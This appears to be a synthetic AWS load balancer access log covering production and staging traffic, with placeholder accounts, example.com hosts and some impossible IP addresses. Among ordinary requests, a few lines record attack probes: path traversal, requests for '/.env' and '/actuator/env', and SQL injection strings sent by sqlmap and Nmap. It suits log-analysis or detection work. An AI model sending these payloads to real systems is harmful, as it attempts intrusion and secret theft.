arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d846-e976fff2ff514042b370896c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:19:34.349906Z "forward" "-" "-" "10.0.52.219:443" "200" "-" "-" -https 2024-11-01T02:19:35.538011Z prod-web-alb 185.181.121.168:51672 10.0.100.19:443 0.030004 0.197159 0.027461 404 404 405 8819 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d847-c946e5e9e7b4410ebad5bc7a" "-" "-" 3 2024-11-01T02:19:35.538011Z "forward" "-" "-" "10.0.100.19:443" "404" "-" "-" -https 2024-11-01T02:19:35.805510Z prod-api-alb 193.89.83.252:17773 10.0.82.5:443 0.011391 0.382334 0.066767 200 200 866 7573 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d847-1e6c3dffce14455b846cf66a" "prod-api-alb.example.com" "-" 4 2024-11-01T02:19:35.805510Z "forward" "-" "-" "10.0.82.5:443" "200" "-" "-" -https 2024-11-01T02:19:36.551453Z prod-web-alb 245.72.90.183:18858 10.0.253.1:443 0.014178 0.390440 0.057793 200 200 906 1413 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d848-63d999f6302a4a3db00ae7d0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:19:36.551453Z "forward" "-" "-" "10.0.253.1:443" "200" "-" "-" -https 2024-11-01T02:19:37.989500Z prod-api-alb 47.152.11.76:59919 10.0.133.148:443 0.037816 0.091492 0.051912 404 404 811 2401 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d849-c1a22e0936db494ab4c90bb4" "prod-api-alb.example.com" "-" 1 2024-11-01T02:19:37.989500Z "forward" "-" "-" "10.0.133.148:443" "404" "-" "-" -https 2024-11-01T02:19:39.183330Z prod-api-alb 2.148.124.195:59605 10.0.181.15:443 0.036289 0.067884 0.029259 200 200 52 6636 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d84b-5a3be834d129428b9ad6f21c" "prod-api-alb.example.com" "-" 9 2024-11-01T02:19:39.183330Z "forward" "-" "-" "10.0.181.15:443" "200" "-" "-" -https 2024-11-01T02:19:40.318970Z prod-web-alb 43.190.37.233:34186 10.0.121.17:443 0.024194 0.436057 0.065416 301 301 949 11744 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d84c-a6387b9dbe4246f28645c9b6" "prod-web-alb.example.com" "-" 10 2024-11-01T02:19:40.318970Z "forward" "-" "-" "10.0.121.17:443" "301" "-" "-" -https 2024-11-01T02:19:41.772384Z prod-web-alb 103.240.48.228:16733 10.0.52.107:443 0.035813 0.170384 0.020424 404 404 97 7921 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d84d-17e69ac9e6c4421cb95fa559" "prod-web-alb.example.com" "-" 5 2024-11-01T02:19:41.772384Z "forward" "-" "-" "10.0.52.107:443" "404" "-" "-" -https 2024-11-01T02:19:43.424887Z prod-web-alb 48.79.34.233:45951 10.0.37.239:443 0.051202 0.417995 0.049659 404 404 427 5183 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d84f-dfdb7f584e6c4886a8a476dc" "prod-web-alb.example.com" "-" 7 2024-11-01T02:19:43.424887Z "forward" "-" "-" "10.0.37.239:443" "404" "-" "-" -https 2024-11-01T02:19:43.761880Z prod-api-alb 59.236.86.186:29842 10.0.155.188:443 0.031709 0.045965 0.093877 200 200 869 12203 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d84f-07e37e2ff5474f49af4e936a" "prod-api-alb.example.com" "-" 2 2024-11-01T02:19:43.761880Z "forward" "-" "-" "10.0.155.188:443" "200" "-" "-" -https 2024-11-01T02:19:45.235660Z prod-web-alb 45.155.205.109:26468 10.0.14.210:443 0.021898 0.166440 0.067612 403 403 85 14372 "PUT /actuator/env HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d851-5beccf443b95460eb118df82" "-" "-" 6 2024-11-01T02:19:45.235660Z "forward" "-" "-" "10.0.14.210:443" "403" "-" "-" -http 2024-11-01T02:19:46.078848Z staging-alb 185.181.129.31:60810 27.114.35.20:443 0.001168 0.685103 0.089339 403 403 660 6242 "GET /users?id=1 OR 1=1 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d852-48a251cb4c6c43a39f9e67e3" "-" "-" 4 2024-11-01T02:19:46.078848Z "forward" "-" "-" "27.114.35.20:443" "403" "-" "-" -http 2024-11-01T02:19:47.309156Z staging-alb 54.234.70.239:36599 61.144.103.237:443 0.039628 0.443512 0.126920 200 200 357 8958 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d853-7d0233097f09405db4d03b0a" "staging-alb.example.com" "-" 3 2024-11-01T02:19:47.309156Z "forward" "-" "-" "61.144.103.237:443" "200" "-" "-" -https 2024-11-01T02:19:48.943983Z staging-alb 45.155.205.91:24191 74.179.171.116:8080 0.128748 0.005181 0.022570 302 302 38 8030 "POST /.env HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d854-d96f5554b4964fdb84a325ce" "-" "-" 5 2024-11-01T02:19:48.943983Z "forward" "-" "-" "74.179.171.116:8080" "302" "-" "-" -https 2024-11-01T02:19:49.665459Z staging-alb 221.34.140.79:30404 79.233.36.126:443 0.070639 0.046312 0.115260 200 200 99 14317 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d855-f3b91757c1c649509889f163" "staging-alb.example.com" "-" 4 2024-11-01T02:19:49.665459Z "forward" "-" "-" "79.233.36.126:443" "200" "-" "-" -https 2024-11-01T02:19:51.027568Z prod-web-alb 237.174.117.180:31911 10.0.124.81:443 0.057109 0.332463 0.088450 200 200 605 12812 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d857-ea987563dac24affb24e2488" "prod-web-alb.example.com" "-" 0 2024-11-01T02:19:51.027568Z "forward" "-" "-" "10.0.124.81:443" "200" "-" "-" -http 2024-11-01T02:19:52.639195Z staging-alb 194.125.82.239:44922 243.217.24.221:80 0.061484 0.010399 0.135338 200 200 296 12928 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d858-8bfe39be515f44df8ff3416d" "staging-alb.example.com" "-" 0 2024-11-01T02:19:52.639195Z "forward" "-" "-" "243.217.24.221:80" "200" "-" "-" -http 2024-11-01T02:19:54.421873Z staging-alb 16.97.54.100:31245 77.74.224.98:8080 0.052854 0.689980 0.069182 302 302 588 14128 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d85a-481a6e86315d417a9519c76a" "staging-alb.example.com" "-" 9 2024-11-01T02:19:54.421873Z "forward" "-" "-" "77.74.224.98:8080" "302" "-" "-" -https 2024-11-01T02:19:55.635267Z prod-web-alb 57.147.111.0:35193 10.0.213.112:443 0.011842 0.424726 0.070203 200 200 99 10259 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d85b-dd35df1e1a464205a68f3d26" "prod-web-alb.example.com" "-" 5 2024-11-01T02:19:55.635267Z "forward" "-" "-" "10.0.213.112:443" "200" "-" "-" -https 2024-11-01T02:19:56.396558Z prod-api-alb 86.75.217.1:18900 10.0.94.105:443 0.051604 0.187796 0.016292 200 200 462 4014 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d85c-09831ecb629540d0b37f57a2" "prod-api-alb.example.com" "-" 6 2024-11-01T02:19:56.396558Z "forward" "-" "-" "10.0.94.105:443" "200" "-" "-" -https 2024-11-01T02:19:58.003109Z staging-alb 193.27.228.38:64264 4.23.88.218:8080 0.026755 0.582846 0.125444 403 403 517 3273 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d85e-2890face292b4f63a33b5e5a" "-" "-" 7 2024-11-01T02:19:58.003109Z "forward" "-" "-" "4.23.88.218:8080" "403" "-" "-" -https 2024-11-01T02:19:59.796716Z prod-web-alb 111.96.15.179:11676 10.0.11.74:443 0.053294 0.004449 0.045331 301 301 605 13024 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d85f-67d850af8b1545ad95cb3b88" "prod-web-alb.example.com" "-" 8 2024-11-01T02:19:59.796716Z "forward" "-" "-" "10.0.11.74:443" "301" "-" "-" -https 2024-11-01T02:20:00.065032Z prod-api-alb 214.112.203.206:46830 10.0.21.203:443 0.072582 0.438246 0.073753 404 404 472 1229 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d860-a812430a4aa5415992c975b1" "-" "-" 7 2024-11-01T02:20:00.065032Z "forward" "-" "-" "10.0.21.203:443" "404" "-" "-" -https 2024-11-01T02:20:01.829170Z staging-alb 207.32.244.92:17668 213.30.75.99:443 0.099552 0.055262 0.070582 404 404 500 7212 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d861-2a595579d0a54734921f2a41" "staging-alb.example.com" "-" 3 2024-11-01T02:20:01.829170Z "forward" "-" "-" "213.30.75.99:443" "404" "-" "-" -https 2024-11-01T02:20:03.716104Z prod-api-alb 151.217.173.201:48386 10.0.234.20:443 0.045771 0.107292 0.041489 200 200 424 14863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d863-1e1adbc4b7444093ab703ddb" "prod-api-alb.example.com" "-" 6 2024-11-01T02:20:03.716104Z "forward" "-" "-" "10.0.234.20:443" "200" "-" "-" -https 2024-11-01T02:20:04.286178Z staging-alb 167.157.126.152:23817 159.127.145.133:443 0.017451 0.675194 0.094437 301 301 32 8203 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d864-334909e73c7444dda11f3ba5" "staging-alb.example.com" "-" 0 2024-11-01T02:20:04.286178Z "forward" "-" "-" "159.127.145.133:443" "301" "-" "-" -http 2024-11-01T02:20:05.498223Z staging-alb 128.147.196.3:27041 34.156.135.201:443 0.028177 0.119310 0.110214 302 302 525 3797 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d865-6fa98998ae86445391a7c33c" "staging-alb.example.com" "-" 7 2024-11-01T02:20:05.498223Z "forward" "-" "-" "34.156.135.201:443" "302" "-" "-" -https 2024-11-01T02:20:06.845272Z prod-api-alb 131.109.60.7:49847 10.0.34.98:443 0.013259 0.023564 0.025518 404 404 390 6741 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d866-eac3ba710f324b7d98c3402e" "prod-api-alb.example.com" "-" 10 2024-11-01T02:20:06.845272Z "forward" "-" "-" "10.0.34.98:443" "404" "-" "-" -https 2024-11-01T02:20:08.440901Z prod-web-alb 63.253.247.146:35603 10.0.228.240:443 0.065095 0.198253 0.093509 200 200 850 14047 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d868-deeb3c54b65d4388ba5d5c53" "prod-web-alb.example.com" "-" 10 2024-11-01T02:20:08.440901Z "forward" "-" "-" "10.0.228.240:443" "200" "-" "-" -https 2024-11-01T02:20:08.971094Z prod-api-alb 78.228.21.42:53446 10.0.15.70:443 0.059922 0.146577 0.014171 200 200 757 12073 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d868-7cbda51ad46048efa7d14151" "prod-api-alb.example.com" "-" 6 2024-11-01T02:20:08.971094Z "forward" "-" "-" "10.0.15.70:443" "200" "-" "-" -https 2024-11-01T02:20:10.120933Z prod-api-alb 250.250.147.220:38756 10.0.40.218:443 0.034370 0.455166 0.050914 302 302 720 2015 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d86a-30e4b6ae8bf9407b9c070df8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:20:10.120933Z "forward" "-" "-" "10.0.40.218:443" "302" "-" "-" -https 2024-11-01T02:20:11.315024Z prod-api-alb 196.98.138.162:11130 10.0.13.204:443 0.085765 0.411279 0.030143 200 200 42 5784 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d86b-9e8802fa396a4995b11b7e4e" "prod-api-alb.example.com" "-" 4 2024-11-01T02:20:11.315024Z "forward" "-" "-" "10.0.13.204:443" "200" "-" "-" -https 2024-11-01T02:20:13.126300Z prod-web-alb 255.9.49.254:58044 10.0.196.205:443 0.082116 0.230171 0.061705 301 301 164 7170 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d86d-91f71b7ee6a640009506c82a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:20:13.126300Z "forward" "-" "-" "10.0.196.205:443" "301" "-" "-" -https 2024-11-01T02:20:13.645892Z prod-web-alb 33.165.188.15:52593 10.0.96.225:443 0.066375 0.219451 0.026800 200 200 895 2511 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d86d-8c1ef0933ab14c6685114f4e" "prod-web-alb.example.com" "-" 7 2024-11-01T02:20:13.645892Z "forward" "-" "-" "10.0.96.225:443" "200" "-" "-" -https 2024-11-01T02:20:14.559086Z prod-web-alb 16.50.62.99:19720 10.0.48.233:443 0.071344 0.366409 0.005201 302 302 761 10276 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d86e-36abe9f38cf54047a47ca8aa" "prod-web-alb.example.com" "-" 7 2024-11-01T02:20:14.559086Z "forward" "-" "-" "10.0.48.233:443" "302" "-" "-" -https 2024-11-01T02:20:15.587419Z prod-web-alb 69.49.99.95:62165 10.0.126.17:443 0.020424 0.334326 0.051629 200 200 306 8884 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d86f-d2e871dbd59d422cb876dda2" "prod-web-alb.example.com" "-" 4 2024-11-01T02:20:15.587419Z "forward" "-" "-" "10.0.126.17:443" "200" "-" "-" -http 2024-11-01T02:20:15.838776Z staging-alb 228.157.55.173:35799 71.20.133.177:80 0.146140 0.653096 0.120082 200 200 42 11957 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d86f-4b0b6b8c485749c6b431aa69" "staging-alb.example.com" "-" 10 2024-11-01T02:20:15.838776Z "forward" "-" "-" "71.20.133.177:80" "200" "-" "-" -https 2024-11-01T02:20:17.613523Z prod-api-alb 158.62.236.1:19091 10.0.198.220:443 0.049178 0.066192 0.033557 200 200 665 6963 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d871-2b14dc761bc84daca0792ba2" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:17.613523Z "forward" "-" "-" "10.0.198.220:443" "200" "-" "-" -https 2024-11-01T02:20:19.352154Z prod-api-alb 168.179.35.175:60484 10.0.13.191:443 0.096609 0.329367 0.077415 200 200 793 9663 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d873-fe078139a7ff4997a4038ba7" "prod-api-alb.example.com" "-" 8 2024-11-01T02:20:19.352154Z "forward" "-" "-" "10.0.13.191:443" "200" "-" "-" -https 2024-11-01T02:20:20.122344Z staging-alb 132.107.185.38:21282 156.179.115.118:80 0.070350 0.693103 0.093309 200 200 829 3104 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d874-db0e25f2836e45f9af226433" "staging-alb.example.com" "-" 7 2024-11-01T02:20:20.122344Z "forward" "-" "-" "156.179.115.118:80" "200" "-" "-" -https 2024-11-01T02:20:21.628891Z prod-web-alb 66.221.252.3:42146 10.0.167.229:443 0.097901 0.323447 0.060555 200 200 519 4625 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d875-1c009fc1dd224540ab7da575" "prod-web-alb.example.com" "-" 7 2024-11-01T02:20:21.628891Z "forward" "-" "-" "10.0.167.229:443" "200" "-" "-" -https 2024-11-01T02:20:22.790603Z prod-api-alb 127.46.162.51:60425 10.0.59.117:443 0.039697 0.060628 0.055174 200 200 363 5929 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d876-d663cb0eb6c543249b9b39f6" "prod-api-alb.example.com" "-" 6 2024-11-01T02:20:22.790603Z "forward" "-" "-" "10.0.59.117:443" "200" "-" "-" -https 2024-11-01T02:20:24.664407Z prod-web-alb 4.237.178.128:18031 10.0.186.43:443 0.006927 0.056302 0.073544 200 200 638 13259 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d878-de57601786dd4851996a6a92" "-" "-" 9 2024-11-01T02:20:24.664407Z "forward" "-" "-" "10.0.186.43:443" "200" "-" "-" -https 2024-11-01T02:20:26.507785Z prod-api-alb 110.79.166.121:21912 10.0.230.104:443 0.072972 0.117526 0.049365 302 302 514 7778 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d87a-9b0c207c50ad4346bb8d8d7b" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:26.507785Z "forward" "-" "-" "10.0.230.104:443" "302" "-" "-" -http 2024-11-01T02:20:27.647569Z staging-alb 58.139.115.19:19862 161.58.254.150:8080 0.108399 0.365551 0.085671 200 200 625 8563 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d87b-b947358bbe7b4d30bf306b7c" "staging-alb.example.com" "-" 0 2024-11-01T02:20:27.647569Z "forward" "-" "-" "161.58.254.150:8080" "200" "-" "-" -https 2024-11-01T02:20:29.156103Z staging-alb 164.125.150.155:51627 191.148.19.152:80 0.111950 0.517152 0.032212 200 200 878 1093 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d87d-ae495f979f604614a087441a" "staging-alb.example.com" "-" 8 2024-11-01T02:20:29.156103Z "forward" "-" "-" "191.148.19.152:80" "200" "-" "-" -https 2024-11-01T02:20:29.697584Z staging-alb 230.48.47.3:27422 197.84.125.126:8080 0.097473 0.237888 0.032205 404 404 955 9398 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d87d-756bb9fae55f44d59523a2a0" "staging-alb.example.com" "-" 9 2024-11-01T02:20:29.697584Z "forward" "-" "-" "197.84.125.126:8080" "404" "-" "-" -https 2024-11-01T02:20:31.228978Z prod-api-alb 221.86.163.229:46570 10.0.131.90:443 0.051175 0.120755 0.014200 404 404 564 8664 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 